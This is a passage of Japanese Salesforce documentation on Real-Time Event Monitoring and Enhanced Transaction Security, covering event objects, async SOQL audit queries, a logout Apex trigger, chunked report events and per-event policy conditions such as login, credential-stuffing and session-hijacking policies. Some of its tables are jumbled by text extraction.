ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

問題があった認証要求と成功した認
証要求に関するデータを ID プロバイ
ダイベントログに保存します。

Big ObjectIdentityProviderEventStore

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

Lightning Experience でいつエンティ
ティが作成、アクセス、更新、削除
されたかに関するデータを保存す
る。

Big ObjectLightningUriEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

いつユーザが取引先責任者、取引
先、カスタムオブジェクトなどのレ
コードのリストを操作したかに関す
るデータを保存する。

Big ObjectListViewEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

いつ Salesforce システム管理者が別の
ユーザとしてログインしたかに関す
るデータを保存する。

Big ObjectLoginAsEvent

オブジェクトは通常、リアルタイム
イベント監視以外で使用できます。
データは最大 10 年間保存されます。

不明な IP アドレスまたは場所からロ
グインを試みたユーザの数とログイ
ンできないようにブロックされた
ユーザに関するデータを保存する。

Big ObjectLoginEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

正常にログアウトしたユーザに関す
るデータを保存する。

Big ObjectLogoutEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

ユーザによるレポート実行またはレ
ポートエクスポートの異常に関する
データを保存する。

標準オブ
ジェクト

ReportAnomalyEventStore

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

機密レポートが何回誰によってダウ
ンロードまたは表示されたかに関す
るデータを保存する。

Big ObjectReportEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

未承認ユーザが、盗取したセッショ
ン識別子を使用して Salesforce ユーザ
のセッションの所有権を窃取した状
況に関するデータを保存する。

標準オブ
ジェクト

SessionHijackingEventStore

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

Salesforce Classic でいつエンティティが
作成、アクセス、更新、削除された
かに関するデータを保存する。

Big ObjectUriEvent

メモ:  Developer Edition 組織では、すべてのイベントのデータが 1 日のみ保存されます。
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リアルタイムイベント監視での非同期 SOQL の使用
リアルタイムイベントでの非同期 SOQL の使用例をいくつか紹介します。
機密の特許情報を含む Patent__c というカスタムオブジェクトを作成したとします。そして、ユーザが API を使
用してこのオブジェクトを照会する状況を把握したいと考えます。ApiEvent オブジェクトに次の非同期 SOQL ク
エリを使用して、最後にいつ、誰が、Patent__c のどの部分にアクセスしたのかを判断します。この WHERE 句は
QueriedEntities 項目を使用して、結果を Patent__c オブジェクトの API クエリのみに絞り込みます。
URI の例

https://yourInstance.salesforce.com/services/data/v48.0/async-queries/

POST リクエストボディの例
{
"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username,

UserAgent FROM ApiEvent
WHERE QueriedEntities LIKE '%Patent__c%'",

"targetObject": "ApiTarget__c",
"targetFieldMap": {
"EventDate": "EventDate__c",
"EventIdentifier": "EventIdentifier__c",
"QueriedEntities": "QueriedEntities__c",
"SourceIp": "IPAddress__c",
"Username": "User__c",
"UserAgent": "UserAgent__c"

}
}

POST レスポンスボディの例
{
"jobId" : "08PB00000066JRfMAM",
"message" : "",
"operation" : "INSERT",
"query" : "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username,

UserAgent FROM ApiEvent
WHERE QueriedEntities LIKE &#39;%Patent__c%&#39;",

"status" : "Complete",
"targetExternalIdField" : "",
"targetFieldMap" : {
"EventDate" : "EventDate__c",
"SourceIp" : "IPAddress__c",
"EventIdentifier" : "EventIdentifier__c",
"QueriedEntities" : "QueriedEntities__c",
"Username" : "User__c",
"UserAgent" : "UserAgent__c"

},
"targetObject" : "ApiTarget__c",
"targetValueMap" : { }

}

メモ: アーカイブ済みオブジェクトの SOQL クエリから返される数値項目はすべて、標準オブジェクトの
エンティティ履歴の数値項目と同様に、科学的記数法ではなく、標準記数法で表記されます。
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監査の目的で繰り返しこの質問をする場合は、cURL スクリプトを使用してクエリを自動化できます。
curl -H "Content-Type: application/json" -X POST -d
'{"query": "SELECT EventDate, EventIdentifier, QueriedEntities, SourceIp, Username, UserAgent
FROM ApiEvent WHERE QueriedEntities LIKE '%Patent__c%'",
"targetObject": "ApiTarget__c",
"targetFieldMap": {"EventDate": "EventDate__c","EventIdentifier":

"EventIdentifier__c","QueriedEntities": "QueriedEntities__c","SourceIp":
"IPAddress__c","Username": "User__c","UserAgent": "UserAgent__c"}}'
"https://yourInstance.salesforce.com/services/data/v48.0/async-queries/" -H
"Authorization: Bearer 00D30000000V88A!ARYAQCZOCeABy29c3dNxRVtv433znH15gLWhLOUv7DVu.
uAGFhW9WMtGXCul6q.4xVQymfh4Cjxw4APbazT8bnIfxlRvUjDg"

イベント監視のもう 1 つの使用事例は、社会保障番号やメールなどの機密項目にアクセスしたすべてのユーザ
を特定することです。たとえば、次の非同期 SOQL クエリを使用して、社会保障番号を参照したユーザを特定
することができます。
URI の例

https://yourInstance.salesforce.com/services/data/v48.0/async-queries/

POST リクエストボディの例
{

"query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent
WHERE Query LIKE '%SSN__c%'",

"targetObject": "QueryEvents__c",
"targetFieldMap": {

"Query":"QueryString__c",
"Username":"User__c",
"EventDate":"EventDate__c",
"SourceIp" : "IPAddress__c"

}
}

POST レスポンスボディの例
{

"jobId": "08PB000000001RS",
"message": "",
"query": "SELECT Query, Username, EventDate, SourceIp FROM ApiEvent

WHERE Query LIKE &#39;%SSN__c%&#39;",
"status": "Complete",
"targetFieldMap": {"Query":"QueryString__c", "Username":"User__c",

"EventDate":"EventDate__c", "SourceIp" : "IPAddress__c"
},

"targetObject": "QueryEvents__c"
}

関連トピック:

Big Object Implementation Guide: Async SOQL (Big Object 実装ガイド: 非同期 SOQL)
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ログアウトイベントトリガの作成
エディション

使用可能なエディション:
すべてのエディション

組織で LogoutEventStream オブジェクトを使用できる場合は、組織の UI からセキュ
リティログアウトイベントに応答する Apex トリガを作成できます。
LogoutEventStream が有効になると、ユーザが UI からログアウトしたときに Salesforce

がログアウトイベントを公開します。これらのイベントに登録するための Apex

トリガを追加できます。その後、ログアウト時のカスタムロジックを実装でき
ます。たとえば、ログアウト時にユーザのすべての更新トークンを呼び出すこ
とができます。
タイムアウトの場合は LogoutEventStream オブジェクトが公開されません。例外は、組織で [セッションタイム
アウト時に強制的にログアウト] 設定が有効になっているために、ユーザのセッションがタイムアウトになっ
た後にユーザが自動的に組織からログアウトされた場合です。この場合はログアウトイベントが記録されま
す。ただし、ユーザがセッション中にブラウザを閉じた場合は、[セッションタイムアウト時に強制的にログ
アウト] 設定が有効になっているかどうかに関係なく、ログアウトイベントは記録されません。
1. [設定] から [クイック検索] ボックスに「イベントマネージャ」と入力し、[イベントマネージャ] を選択しま

す。
2. ログアウトイベントの横にあるドロップダウンをクリックし、[ストリーミングを有効化] を選択します。
3. ログアウトイベントに登録するための Apex トリガを作成します。

例: この例では、登録者はログアウト時にカスタムログアウトイベントレコードを挿入します。

trigger LogoutEventTrigger on LogoutEventStream (after insert) {

LogoutEventStream event = Trigger.new[0];

LogoutEvent__c record = new LogoutEvent__c();

record.EventIdentifier__c = event.EventIdentifier;

record.UserId__c = event.UserId;

record.Username__c = event.Username;

record.EventDate__c = event.EventDate;

record.RelatedEventIdentifier__c = event.RelatedEventIdentifier;

record.SessionKey__c = event.SessionKey;

record.LoginKey__c = event.LoginKey;

insert(record);

}
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ReportEvent および ListViewEvent でのチャンクの機能
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

チャンクは、レポートまたはリストビューの実行で多くのレコードが返され、
返されたデータがチャンクに分割された場合に発生します。

ヒント: このトピックは、ReportEvent、ReportEventStream、ListViewEvent、
ListViewEventStream に適用されます。ただし、読みやすさのために、ここで
は ReportEvent と ListViewEvent についてのみ説明します。

ReportEvent または ListViewEvent (およびそれに相当するストリーミング) がチャン
クされる場合、ほとんどの項目値が繰り返される複数のイベントに分割されま
す。例外は、Records 項目、Sequence 項目、EventIdentifier 項目です。
チャンクされた結果からのすべてのデータは、こうした項目を
ExecutionIdentifier 項目と相関させて表示します。この項目はチャンク間
で一意です。

重要: レポートが実行されると、Records 項目のデータを含めて最初の 1000

件のイベントが表示されます。フルレポートを表示するには ReportsId 項目
を使用します。

チャンク同士をリンクするために使用する ReportEvent と ListViewEvent (およびそれに相当するストレージ) の項目
についてもう少し詳しく説明します。
• Records  — レポートまたはリストビューデータを表す JSON 文字列。データを複数のイベントにチャンク

された場合、各イベントの Records 項目には異なるデータが含まれます。
• Sequence  — チャンクの結果である複数のイベントの順序を示す増分シーケンス番号。1 から開始します。

たとえば、イベントが 5 つのチャンクに分割された場合、最初のチャンクの Sequence 項目は 1、2 番目のチャ
ンクは 2、といった具合に 5 まで続きます。

• ExecutionIdentifier  — 特定のレポートまたはリストビュー実行の一意の識別子。この識別子では、レ
ポートまたはリスト実行が他の実行と区別されます。チャンクが発生した場合、この項目値はチャンク間
で同じになり、この項目値を使用してチャンク同士をリンクして、完全なデータにできます。

• EventIdentifier  — チャンクされたイベントを含む、各イベントの一意の識別子。
1 つのレポートまたはリストビュー実行からすべてのデータチャンクを表示するには、Sequence項目、Records

項目、ExecutionIdentifier 項目を組み合わせて使用します。
たとえば、レポート実行で 1 万行が返されるとします。レコードのサイズに基づいてこのデータが 3 つのチャ
ンクに分割されてから、3 つの個別の ReportEvent イベントが作成されます。次の表に、3 つのイベントの項目
値の例を示します。表で示していない項目 (EventIdentifier を除く) は、3 つのイベント間で同じ値になり
ます。

RecordsSequenceExecutionIdentifier

{"totalSize":3000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

1a50a4025-84f2-425d-8af9-2c780869f3b5

{"totalSize":3000,
"rows":[{"datacells":["005B000000fewai"..........]}]}

2a50a4025-84f2-425d-8af9-2c780869f3b5

{"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

3a50a4025-84f2-425d-8af9-2c780869f3b5
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次のサンプル SOQL クエリは、前の表と同様のデータを返します。
SELECT ExecutionIdentifer, Sequence, Records FROM ReportEvent

トランザクションセキュリティによるチャンクの使用
チャンクされたイベントでトランザクションセキュリティポリシーがトリガされた場合、最初のチャンクでの
みポリシーが実行されます。PolicyId項目、PolicyOutcome項目、EvaluationTime項目の値はチャンク
されたすべてのイベントで繰り返されます。以下の表に、さまざまなポリシーアクションと実行結果およびそ
の結果のイベントを示します。こうしたイベントの中にはチャンクされているものがあります。
このイベントは、ブロックアクションがあったトリガされたポリシーの結果発生します。

EvaluationTimePolicyOutcomePolicyId (読むやす
くするため値を短
縮)

RecordsSequenceExecutionIdentifier
(読むやすくするた
め値を短縮)

30Block0NIxx...GA2{"totalSize":0,
"rows":[{}]}

0a50a4...9-2c780869f3b5

これらのイベントは、多要素認証 (MFA) アクションがあるトリガされたポリシーの結果発生します。最初の 3

行ではプロセス内の多要素認証が表示され、最後の 3 行ではチャンクされたイベントが表示されます。

メモ: 多要素認証は以前、2 要素認証と呼ばれていました。MFA に関連する一部の値は「TwoFa」を参照し
ます。

EvaluationTimePolicyOutcomePolicyId (読むやす
くするため値を短
縮)

RecordsSequenceExecutionIdentifier
(読むやすくするた
め値を短縮)

30TwoFaInitiated0NIxx...GA2{"totalSize":0, "rows":[{}]}0a50a4...9-2c780869f3b5

TwoFaInProgress

TwoFaSucceed

24TwoFaNoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B000000fewai"..........]}]}

243805...e-5914976709c4

24TwoFaNoAction0NIxx...GA2{"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

343805...e-5914976709c4

24TwoFaNoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

143805...e-5914976709c4

これらのイベントは、ブロックアクションがあるポリシーの結果発生しますが、イベントは条件を満たしませ
んでした。そのため、PolicyOutcome 項目は NoAction になります。
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EvaluationTimePolicyOutcomePolicyId (読むやす
くするため値を短
縮)

RecordsSequenceExecutionIdentifier
(読むやすくするた
め値を短縮)

24NoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

1a50a4...9-2c780869f3b5

24NoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B000000fewai"..........]}]}

2a50a4...9-2c780869f3b5

24NoAction0NIxx...GA2{"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

3a50a4...9-2c780869f3b5

これらのイベントは多要素認証アクションがあるポリシーの結果発生しますが、ポリシーはトリガされず、そ
のためアクションは実行されませんでした。ユーザがすでに高保証セッションレベルに達していたため、ポリ
シーはトリガされませんでした。

EvaluationTimePolicyOutcomePolicyId (読むやす
くするため値を短
縮)

RecordsSequenceExecutionIdentifier
(読むやすくするた
め値を短縮)

24TwoFaNoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

1a50a4...9-2c780869f3b5

24TwoFaNoAction0NIxx...GA2{"totalSize":3000,
"rows":[{"datacells":["005B000000fewai"..........]}]}

2a50a4...9-2c780869f3b5

24TwoFaNoAction0NIxx...GA2{"totalSize":4000,
"rows":[{"datacells":["005B0000001vURv",..........]}]}

3a50a4...9-2c780869f3b5

拡張トランザクションセキュリティ
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

拡張トランザクションセキュリティは、リアルタイムイベントを受信し、ユー
ザアクティビティを監視して制御するための適切なアクションを適用するフレー
ムワークです。どのトランザクションセキュリティポリシーにも、イベントを
評価する条件と、条件を満たした後にトリガされるリアルタイムアクションが
あります。アクションは、ブロック、多要素認証、通知です。ポリシーを作成
する前に、使用可能なイベント種別、ポリシー条件、一般的な使用事例を理解
します。拡張トランザクションセキュリティは、リアルタイムイベント監視に
含まれています。

条件ビルダーと Apex の比較
条件ビルダーはポリシーを、コードではなく、クリック操作で構築できる設定
機能です。ポリシーはイベントを監視します。イベントとは、SOAP API、REST

API、Bulk API のオブジェクトに基づいて発生するユーザアクティビティのカテゴ
リです。条件ビルダーを使用してポリシーを作成するとき、ユーザアクティビ
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ティでこれらのオブジェクトのどの項目を監視するかを選択します。ポリシーのアクションはユーザが操作す
る項目に対する条件に応じて実行されるため、これらの項目は条件と呼ばれます。ポリシーを作成するとき
に、ポリシーで監視する条件と、条件を満たしたときにポリシーが実行するアクションを選択します。条件ビ
ルダーで使用可能な条件は、すべてのイベントオブジェクト項目のサブセットであり、オブジェクトに応じて
異なります。
Apex ベースのポリシーを作成する場合、イベントオブジェクトの任意の項目を使用できます。たとえば、
ReportEvent イベントオブジェクトの場合、条件ビルダーの条件としてレコードは使用できません。一方、
TxnSecurity.EventConditionインターフェースを実装する Apex クラスの ReportEvent.Records項目は
使用できます。イベントオブジェクトの項目を表示する場合は、API オブジェクトリファレンスを参照してく
ださい。

条件一覧

アクション条件ビルダーで使用可能な条件イベントオブジェクト

ブロック、通知API 種別、API バージョン、アプリ
ケーション、クライアント、経過

ApiEvent

時間、操作、プラットフォーム、
照会されるエンティティ、クエリ、
処理行、セッションレベル、アク
セス元 IP、ユーザエージェント、
ユーザ ID、ユーザ名

通知User、Username、SourceIp、Score、
QueriedEntities、Operation、
RowsProcessed、UserAgent

ApiAnomalyEventStore

ブロック、通知Query、SessionLevel、SourceIp、
UserId、Username

BulkApiResultEventStore

通知AcceptLanguage、LoginUrl、Score、
SourceIp、UserAgent、UserId、Username

CredentialStuffingEventStore

ブロック、通知、多要素認証 (UI ロ
グイン用)

Lightning ページのリストビューでは
多要素認証がサポートされていな

アプリケーション名、API 参照名、
イベントソース、リストビュー ID、
名前、列名、列数、並び替えの基
準、所有者 ID、照会されるエンティ
ティ、処理行、範囲、セッション

ListViewEvent

いため、アクションがブロックに
アップグレードされます。レベル、アクセス元 IP、ユーザ ID、

ユーザ名

ブロック、通知、多要素認証 (UI ロ
グイン用)

API 種別、API バージョン、アプリ
ケーション、ブラウザ、国、ログ
イン URL、プラットフォーム、セッ

LoginEvent

ションレベル、アクセス元 IP、TLS

プロトコル、ユーザ ID、ユーザ種
別、ユーザ名
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アクション条件ビルダーで使用可能な条件イベントオブジェクト

通知Report、Score、SourceIp、UserId、
Username

ReportAnomalyEventStore

ブロック、通知、多要素認証 (UI ロ
グイン用)

ダッシュボード ID、ダッシュボー
ド名、説明、イベントソース、形
式、スケジュール済み、名前、列

ReportEvent

名、列数、操作、所有者 ID、照会
されるエンティティ、レポート ID、
処理行、範囲、セッションレベル、
アクセス元 IP、ユーザ ID、ユーザ名

通知CurrentUserAgent、CurrentIp、
CurrentPlatform、CurrentScreen、

SessionHijackingEventStore

CurrentWindow、PreviousUserAgent、
PreviousIp、PreviousPlatform、
PreviousScreen、PreviousWindow、
Score、SourceIp、UserId、Username

このセクションの内容:

拡張トランザクションセキュリティポリシーの種別
次のリアルタイムイベント監視イベントに、トランザクションセキュリティポリシーを作成できます。
拡張トランザクションセキュリティアクションおよび通知
リアルタイムイベントでトランザクションセキュリティポリシーがトリガされるときに、ユーザをブロッ
クするか、多要素認証 (MFA) を適用することができます。また必要に応じて、イベントのアプリケーション
内通知またはメール通知を受信することもできます。
条件ビルダーを使用したトランザクションセキュリティポリシーの作成
コード行を記述せずにトランザクションセキュリティポリシーを作成します。リアルタイムイベント監視
でリリースされた条件ビルダーでは、宣言型でカスタマイズしたセキュリティポリシーを作成してデータ
を保護できます。
Apex を使用する拡張トランザクションセキュリティポリシーの作成
[設定] を使用して、Apex を使用する拡張トランザクションセキュリティポリシーを作成します。既存の Apex

クラスを指定するか、空のクラスを作成してからコーディングすることができます。Apex クラスは
TxnSecurity.EventCondition インターフェースを実装する必要があります。
拡張トランザクションセキュリティポリシーの作成と管理のベストプラクティス
トランザクションセキュリティポリシーの管理は必ずしも簡単なわけではありません。特に複数のポリシー
がある場合は厄介です。ポリシーが機能し続けるように、ポリシーの作成と管理に関する次のベストプラ
クティスを実践します。適切に構成され、テストされたポリシーを使用することで、従業員や顧客のつな
がり、生産性、セキュリティを維持できます。
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拡張トランザクションセキュリティの測定
トランザクションセキュリティでは、共有のマルチテナントプラットフォームリソースの悪意ある独占ま
たは意図しない独占を防ぐために、リソース測定を使用します。測定を使用することで、トランザクショ
ンセキュリティポリシー評価が使用するリソースが多くなりすぎて Salesforce 組織に悪影響が及ぶことを防
止できます。
新しい拡張ポリシーのテストとトラブルシューティング
拡張トランザクションセキュリティポリシーが期待どおりに動作しない場合は、以下のテストとトラブル
シューティングに関するヒントを確認して問題を診断します。
拡張トランザクションセキュリティフレームワークへの従来のポリシーの移行
拡張トランザクションセキュリティフレームワークを使用すると、従来のフレームワークで作成したポリ
シーよりも有用なポリシーを簡単に作成できます。従来のポリシーを新しいフレームワークに移行できま
す。Summer '20 以降、すべての Salesforce 組織で従来のトランザクションセキュリティが廃止されます。従来
のフレームワークを使用してトランザクションセキュリティポリシーを作成、編集、有効化することがで
きなくなり、こうした操作を実行しようとするとエラーメッセージが表示されます。

拡張トランザクションセキュリティポリシーの種別

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

次のリアルタイムイベント監視イベントに、トランザクションセキュリティポ
リシーを作成できます。

このセクションの内容:

ApiEvent ポリシー
API イベントは、API トランザクション (SOQL クエリやデータエクスポートな
ど) を監視します。
ApiAnomalyEventStore ポリシー
API 異常イベントポリシーは、ユーザによる API コールの実行の異常を監視し
ます。
BulkApiResultEventStore ポリシー
Bulk API 結果イベントポリシーは、ユーザが Bulk API 要求の結果をダウンロー
ドする時点を検出します。
CredentialStuffingEventStore ポリシー
クレデンシャルスタッフィングイベントポリシーは、特定したクレデンシャルスタッフィング攻撃の最中
にユーザが Salesforce に正常にログインした状況を監視します。ログイン情報スタッフィングとは、盗まれ
たユーザログイン情報を使用した大規模な自動ログイン要求を指します。
ListViewEvent ポリシー
リストビューイベントポリシーは、いつ Salesforce Classic、Lightning Experience、または API を使用してリスト
ビューからデータが表示またはダウンロードされたかを監視します。
LoginEvent ポリシー
ログインイベントポリシーは、ログインアクティビティを追跡し、組織のログイン要件を適用します。
ReportEvent ポリシー
レポートイベントポリシーは、いつレポートが表示またはダウンロードされたかを監視します。
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ReportAnomalyEventStore ポリシー
レポート異常イベントポリシーは、ユーザによるレポート実行またはレポートエクスポートの異常を監視
します。
SessionHijackingEventStore ポリシー
セッションハイジャックイベントポリシーは、未承認ユーザが、盗まれたセッション識別子を使用して
Salesforce ユーザのセッションの所有権をいつ取得したかを監視します。

ApiEvent ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

API イベントは、API トランザクション (SOQL クエリやデータエクスポートなど)

を監視します。

ポリシーの概要

考慮事項アクション条件ビルダーで使
用可能な条件

オブジェクト

多要素認証はサ
ポートされませ
ん。

ブロック、通知API 種別、API バー
ジョン、アプリ
ケーション、クラ
イアント、経過時
間、操作、プラッ
トフォーム、照会
されるエンティ
ティ、クエリ、処

ApiEvent

理行、セッション
レベル、アクセス
元 IP、ユーザエー
ジェント、ユーザ
ID、ユーザ名

機能
API によって実行されたユーザの行動を詳細なレベルで監視できます。次の処理が可能なポリシーを作成しま
す。
• 特定のプラットフォームから特定のバージョンの API へのアクセスをブロックする
• 多くの行を返すクエリをユーザが実行したら通知する

ApiEvent ポリシーの考慮事項
• サポートされる SOAP、REST、および Bulk API コールは、query()、query_more()、query_all() です。

トランザクションセキュリティでは query() のみがサポートされます。ApiEvent と ApiEventStream では、
Visualforce (Apex コントローラ経由) または XMLRPC から実行される API コールはサポートされません。
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• Bulk API クエリの場合、ApiEvent の LoginHistoryId、Client、UserAgentで期待されるのは空白値です。
これらのクエリは非同期で、バックグラウンドジョブによって実行されます。

ApiAnomalyEventStore ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

API 異常イベントポリシーは、ユーザによる API コールの実行の異常を監視しま
す。

ポリシーの概要

アクション条件ビルダーで使用可能
な条件

オブジェクト

通知User、Username、SourceIp、
Score、QueriedEntities、
Operation、RowsProcessed、
UserAgent

ApiAnomalyEventStore

機能
次の処理が可能なポリシーを作成します。
• ユーザが通常より多くの API コールを実行したことを Salesforce が検知したときにメールを送信します。
• スコアが 0.5 を超える API 異常イベントを Salesforce が検知したときにアプリケーション内通知を生成します。

BulkApiResultEventStore ポリシー
Bulk API 結果イベントポリシーは、ユーザが Bulk API 要求の結果をダウンロードする時点を検出します。

ポリシーの概要

アクション条件ビルダーで使用可能な条件オブジェクト

ブロック、通知Query、SessionLevel、SourceIp、
UserId、Username

BulkApiResultEventStore

機能
次の処理が可能なポリシーを作成します。
• ユーザが Bulk API 要求の結果をダウンロードしようとしたことを Salesforce が検知したときにメールを送信し

ます。
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CredentialStuffingEventStore ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

クレデンシャルスタッフィングイベントポリシーは、特定したクレデンシャル
スタッフィング攻撃の最中にユーザが Salesforce に正常にログインした状況を監
視します。ログイン情報スタッフィングとは、盗まれたユーザログイン情報を
使用した大規模な自動ログイン要求を指します。

ポリシーの概要

アクション条件ビルダーで使用可能
な条件

オブジェクト

通知AcceptLanguage、LoginUrl、
Score、SourceIp、
UserAgent、UserId、
Username

CredentialStuffingEventStore

機能
次の処理が可能なポリシーを作成します。
• 特定したクレデンシャルスタッフィング攻撃の最中にユーザが特定の IP アドレスから組織に正常にログイ

ンしたことを Salesforce が検知したときにメールを送信します。
• クレデンシャルスタッフィング攻撃の最中に、login.salesforce.com などの特定のページからのログ

インを Salesforce が検知したときにアプリケーション内通知を生成します。

ListViewEvent ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リストビューイベントポリシーは、いつ Salesforce Classic、Lightning Experience、ま
たは API を使用してリストビューからデータが表示またはダウンロードされたか
を監視します。

ポリシーの概要

アクション条件ビルダーで使用可能
な条件

オブジェクト

ブロック、通知、多要素
認証 (UI ログイン用)

Lightning ページのリスト
ビューでは多要素認証が
サポートされていないた
め、アクションがブロッ

アプリケーション名、API

参照名、イベントソー
ス、リストビュー ID、名
前、列名、列数、並び替
えの基準、所有者 ID、照
会されるエンティティ、
処理行、範囲、セッショ

ListViewEvent

クにアップグレードされ
ます。ンレベル、アクセス元

IP、ユーザ ID、ユーザ名
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機能
次の処理が可能なポリシーを作成します。
• 機密の特許データのリストビューにアクセスしようとするユーザをブロックする
• 組織のリストビューからユーザが 5,000 を超える行をエクスポートする場合に通知する

メモ: トランザクションセキュリティポリシーに捕捉される値は、オブジェクトに対して REST API Describe

コールを実行して取得可能な一意の API 参照名です。ListViewEvent ポリシーを作成するときは、条件がチェッ
クする値が一意の API 参照名で、表示ラベルではないようにします。たとえば、「列の名前」条件は、レ
ポートに表示される列ヘッダーではなく、レポートに対する Describe コールから取得されたメタデータ情
報と一致する値がないかチェックします。詳細は、『REST API 開発者ガイド』を参照してください。

LoginEvent ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ログインイベントポリシーは、ログインアクティビティを追跡し、組織のログ
イン要件を適用します。

ポリシーの概要

考慮事項アクション条件ビルダーで使
用可能な条件

オブジェクト

ブロック、通知、
多要素認証 (UI ログ
イン用)

API 種別、API バー
ジョン、アプリ
ケーション、ブラ
ウザ、国、ログイ
ン URL、プラット
フォーム、セッ
ションレベル、ア
クセス元 IP、TLS プ

LoginEvent • ユーザ名とパ
スワードによ
る UI ログイ
ン、SAML シン
グルサインオ
ンログイン、
API ベースのロ
グイン (OAuth、

ロトコル、ユーザ REST、SOAP) が
ID、ユーザ種別、
ユーザ名

取得されま
す。

• Lightning Login

(パスワードな
しのログイン)

ユーザまたは
API ベースのロ
グインには多
要素認証がサ
ポートされて
いません。API

ベースのログ
インについて
は、アクショ
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考慮事項アクション条件ビルダーで使用可能
な条件

オブジェクト

ンがブロックにアップ
グレードされます。

• 不正なパスワードなど
の無効なログイン試行
によって LoginEvent ポ
リシーがトリガされる
ことはありません。

機能
パフォーマンスを低下させたり、セキュリティリスクを高めたりする特定のログイン動作を対象に設定できま
す。次の処理が可能なポリシーを作成します。
• 特定の場所からログインするユーザをブロックする
• サポート対象外のブラウザからログインするユーザに多要素認証を要求する
• 特定のアプリケーションからのログインを監視する
LoginEvent がログインのログ行とログイン履歴を比較する方法は?

ログイン履歴ログインのログ行LoginEvent (ログインフォ
レンジック)

機能

LoginHistoryEventLogFile (ログインイベ
ント種別)

LoginEvent標準オブジェクトまたは
ファイル

6 か月30 日6 か月削除されるまでのデータ
の存続期間

設定 UI、APIAPI ダウンロード、Event

Monitoring Analytics アプリ
ケーション

APIアクセス

ユーザの管理イベントログファイルを
参照

「リアルタイムイベント
監視データの表示」

権限

いいえいいえはい、AdditionalInfo 項目を
使用

拡張性

すべての組織に含まれるイベント監視アドオンに
含まれる

イベント監視アドオンま
たはリアルタイムイベン
ト監視に含まれる

可用性
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ReportEvent ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

レポートイベントポリシーは、いつレポートが表示またはダウンロードされた
かを監視します。

ポリシーの概要

考慮事項アクション条件ビルダーで使
用可能な条件

オブジェクト

多要素認証 (MFA)

ポリシーが次の UI

ベースのレポート
アクションに適用
されます。

ブロック、通知、
多要素認証 (UI ログ
イン用)

ダッシュボード
ID、ダッシュボー
ド名、説明、イベ
ントソース、形
式、スケジュール
済み、名前、列
名、列数、操作、
所有者 ID、照会さ

ReportEvent

• 印刷用に表示
• レポートのエ

クスポートれるエンティ
• レポート実行

(Salesforce Classic

のみ)

ティ、レポート
ID、処理行、範
囲、セッションレ

Lightning ページの
レポートでは多要

ベル、アクセス元
IP、ユーザ ID、
ユーザ名 素認証がサポート

されていないた
め、アクションが
ブロックにアップ
グレードされま
す。

機能
次の処理が可能なポリシーを作成します。
• 特定のサイズを超えるレポートのアクセスまたはダウンロードを行うすべてのユーザに多要素認証を要求

する。対象範囲を最大限にするには、特定の処理行数を超えるレポートへのアクセスを通知してブロック
するポリシーを作成します。

• 特定のユーザ ID、レポート ID、ダッシュボード ID によるダウンロードをブロックする。

メモ: トランザクションセキュリティポリシーに捕捉される値は、オブジェクトに対して REST API Describe

